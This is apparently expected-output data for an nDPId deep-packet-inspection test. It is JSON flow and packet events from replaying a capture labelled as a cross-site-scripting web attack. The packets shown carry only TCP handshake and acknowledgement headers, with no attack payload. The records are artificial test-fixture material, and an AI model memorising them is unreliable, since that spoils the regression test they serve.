+00433{"flow_id":431,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6152,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347702,"pkt_ts_usec":808218,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA08ehAAEAG0e\/AqAoyrBAAAQBQ6jj3l3avVf5CzoARAOPLFgAAAQEICgPlh0cBO7XS"} +00433{"flow_id":431,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6153,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347702,"pkt_ts_usec":808986,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08p1AAD4G0zqsEAABwKgKMuo4AFBV\/kLO95d2sIAQAOXLFAAAAQEICgE7tdID5YdH"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6157,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":435,"flow_packet_id":1,"flow_first_seen":1499347703726,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60028,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":435,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6157,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347703,"pkt_ts_usec":726679,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80EJAAD4G9Y2sEAABwKgKMup8AFAHaGb6AAAAAKACchBN4QAAAgQFtAQCCAoBO7a4AAAAAAEDAwc="} +00444{"flow_id":435,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6158,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347703,"pkt_ts_usec":726818,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6nwCGRKtB2hm+6AScSCt5wAAAgQFtAQCCAoD5YgtATu2uAEDAwc="} +00432{"flow_id":435,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6159,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347703,"pkt_ts_usec":727414,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00ENAAD4G9ZSsEAABwKgKMup8AFAHaGb7AhkSroAQAOVM7wAAAQEICgE7trgD5Ygt"} +00432{"flow_id":432,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6163,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347703,"pkt_ts_usec":807975,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0irFAAD4GOyesEAABwKgKMupGAFDXwDtACZMt1IARAOWK+gAAAQEICgE7tswD5YMF"} +00432{"flow_id":432,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6164,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347703,"pkt_ts_usec":808159,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pZVAAEAGHkPAqAoyrBAAAQBQ6kYJky3U18A7QYARAOOFvwAAAQEICgPliEEBO7bM"} +00432{"flow_id":432,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6165,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347703,"pkt_ts_usec":808915,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0irJAAD4GOyasEAABwKgKMupGAFDXwDtBCZMt1YAQAOWFvQAAAQEICgE7tswD5YhB"} +00432{"flow_id":433,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6166,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347704,"pkt_ts_usec":808169,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0U2VAAD4GcnOsEAABwKgKMupUAFDv6uGttRNcPIARAOXwMgAAAQEICgE7t8YD5YRE"} +00432{"flow_id":433,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6167,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347704,"pkt_ts_usec":808390,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA01QdAAEAG7tDAqAoyrBAAAQBQ6lS1E1w87+rhroARAOPrPAAAAQEICgPliTsBO7fG"} +00432{"flow_id":433,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6168,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347704,"pkt_ts_usec":808943,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0U2ZAAD4GcnKsEAABwKgKMupUAFDv6uGutRNcPYAQAOXrOgAAAQEICgE7t8YD5Yk7"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6172,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":436,"flow_packet_id":1,"flow_first_seen":1499347705116,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60042,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":436,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6172,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347705,"pkt_ts_usec":116020,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8oq5AAD4GIyKsEAABwKgKMuqKAFDjSRq9AAAAAKACchC80wAAAgQFtAQCCAoBO7gTAAAAAAEDAwc="} +00444{"flow_id":436,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6173,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347705,"pkt_ts_usec":116143,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6oqWCrpo40kavqAScSDf0QAAAgQFtAQCCAoD5YmIATu4EwEDAwc="} +00432{"flow_id":436,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6174,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347705,"pkt_ts_usec":116886,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oq9AAD4GIymsEAABwKgKMuqKAFDjSRq+lgq6aYAQAOV+2QAAAQEICgE7uBMD5YmI"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6181,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":437,"flow_packet_id":1,"flow_first_seen":1499347706399,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60056,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":437,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6181,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347706,"pkt_ts_usec":399626,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8F3NAAD4Grl2sEAABwKgKMuqYAFBMGa4nAAAAAKACchC\/SgAAAgQFtAQCCAoBO7lUAAAAAAEDAwc="} +00444{"flow_id":437,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6182,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347706,"pkt_ts_usec":399769,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6pjZqykETBmuKKAScSAuywAAAgQFtAQCCAoD5YrJATu5VAEDAwc="} +00432{"flow_id":437,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6183,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347706,"pkt_ts_usec":400536,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0F3RAAD4GrmSsEAABwKgKMuqYAFBMGa4o2aspBYAQAOXN0gAAAQEICgE7uVQD5YrJ"} +00433{"flow_id":434,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6190,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347707,"pkt_ts_usec":809704,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dHxAAD4GUVysEAABwKgKMupuAFBhicErP8YsBIARAOU\/EgAAAQEICgE7urUD5YbF"} +00433{"flow_id":434,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6191,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347707,"pkt_ts_usec":809899,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0oC1AAEAGI6vAqAoyrBAAAQBQ6m4\/xiwEYYnBLIARAOM5rwAAAQEICgPljCkBO7q1"} +00432{"flow_id":434,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6192,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347707,"pkt_ts_usec":810676,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dH1AAD4GUVusEAABwKgKMupuAFBhicEsP8YsBYAQAOU5rQAAAQEICgE7urUD5Ywp"} +00432{"flow_id":435,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6196,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347708,"pkt_ts_usec":809735,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00ERAAD4G9ZOsEAABwKgKMup8AFAHaGb7AhkSroARAOVH9wAAAQEICgE7u68D5Ygt"} +00433{"flow_id":435,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6197,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347708,"pkt_ts_usec":809952,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0n41AAEAGJEvAqAoyrBAAAQBQ6nwCGRKuB2hm\/IARAONDAgAAAQEICgPljSMBO7uv"} +00432{"flow_id":435,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6198,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347708,"pkt_ts_usec":810536,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00EVAAD4G9ZKsEAABwKgKMup8AFAHaGb8AhkSr4AQAOVDAAAAAQEICgE7u68D5Y0j"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6202,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":438,"flow_packet_id":1,"flow_first_seen":1499347709252,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60084,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":438,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6202,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347709,"pkt_ts_usec":252943,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8u61AAD4GCiOsEAABwKgKMuq0AFAeNwewAAAAAKACchCQvwAAAgQFtAQCCAoBO7wdAAAAAAEDAwc="} +00444{"flow_id":438,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6203,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347709,"pkt_ts_usec":253070,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6rSwITsWHjcHsaAScSAU7wAAAgQFtAQCCAoD5Y2SATu8HQEDAwc="} +00432{"flow_id":438,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6204,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347709,"pkt_ts_usec":253824,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0u65AAD4GCiqsEAABwKgKMuq0AFAeNwexsCE7F4AQAOWz9QAAAQEICgE7vB4D5Y2S"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6208,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":395,"flow_packet_id":6,"flow_first_seen":1499347635154,"flow_last_seen":1499347640794,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59300,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6208,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":395,"flow_packet_id":6,"flow_first_seen":1499347635154,"flow_last_seen":1499347640794,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59300,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6208,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":396,"flow_packet_id":6,"flow_first_seen":1499347636429,"flow_last_seen":1499347641793,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59314,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6208,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":396,"flow_packet_id":6,"flow_first_seen":1499347636429,"flow_last_seen":1499347641793,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59314,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6208,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":397,"flow_packet_id":6,"flow_first_seen":1499347637687,"flow_last_seen":1499347642795,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59328,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6208,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":397,"flow_packet_id":6,"flow_first_seen":1499347637687,"flow_last_seen":1499347642795,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59328,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6208,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":398,"flow_packet_id":6,"flow_first_seen":1499347640199,"flow_last_seen":1499347645794,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59354,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6208,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":398,"flow_packet_id":6,"flow_first_seen":1499347640199,"flow_last_seen":1499347645794,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59354,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6208,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":399,"flow_packet_id":6,"flow_first_seen":1499347641440,"flow_last_seen":1499347646795,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59368,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6208,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":399,"flow_packet_id":6,"flow_first_seen":1499347641440,"flow_last_seen":1499347646795,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59368,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6208,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":400,"flow_packet_id":6,"flow_first_seen":1499347642716,"flow_last_seen":1499347647795,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59382,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6208,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":400,"flow_packet_id":6,"flow_first_seen":1499347642716,"flow_last_seen":1499347647795,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59382,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":436,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6211,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347710,"pkt_ts_usec":810881,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0orBAAD4GIyisEAABwKgKMuqKAFDjSRq+lgq6aYARAOV5SAAAAQEICgE7vaMD5YmI"} +00432{"flow_id":436,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6212,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347710,"pkt_ts_usec":811098,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0NXFAAEAGjmfAqAoyrBAAAQBQ6oqWCrpp40kav4ARAONzuQAAAQEICgPljxgBO72j"} +00433{"flow_id":436,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6213,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347710,"pkt_ts_usec":811821,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0orFAAD4GIyesEAABwKgKMuqKAFDjSRq\/lgq6aoAQAOVztwAAAQEICgE7vaMD5Y8Y"} +00432{"flow_id":437,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6214,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347711,"pkt_ts_usec":811341,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0F3VAAD4GrmOsEAABwKgKMuqYAFBMGa4o2aspBYARAOXIiAAAAQEICgE7vp0D5YrJ"} +00432{"flow_id":437,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6215,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347711,"pkt_ts_usec":811559,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0uRdAAEAGCsHAqAoyrBAAAQBQ6pjZqykFTBmuKYARAOPDQAAAAQEICgPlkBIBO76d"} +00432{"flow_id":437,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6216,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347711,"pkt_ts_usec":812303,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0F3ZAAD4GrmKsEAABwKgKMuqYAFBMGa4p2aspBoAQAOXDPgAAAQEICgE7vp0D5ZAS"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":439,"flow_packet_id":1,"flow_first_seen":1499347712277,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60134,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":439,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6217,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347712,"pkt_ts_usec":277123,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8nw9AAD4GJsGsEAABwKgKMurmAFCpjSAeAAAAAKACchDp1AAAAgQFtAQCCAoBO78RAAAAAAEDAwc="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6218,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":440,"flow_packet_id":1,"flow_first_seen":1499347712277,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60136,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":440,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6218,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347712,"pkt_ts_usec":277163,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA81Z1AAD4G8DKsEAABwKgKMuroAFDnlWqMAAAAAKACchBhXAAAAgQFtAQCCAoBO78RAAAAAAEDAwc="} 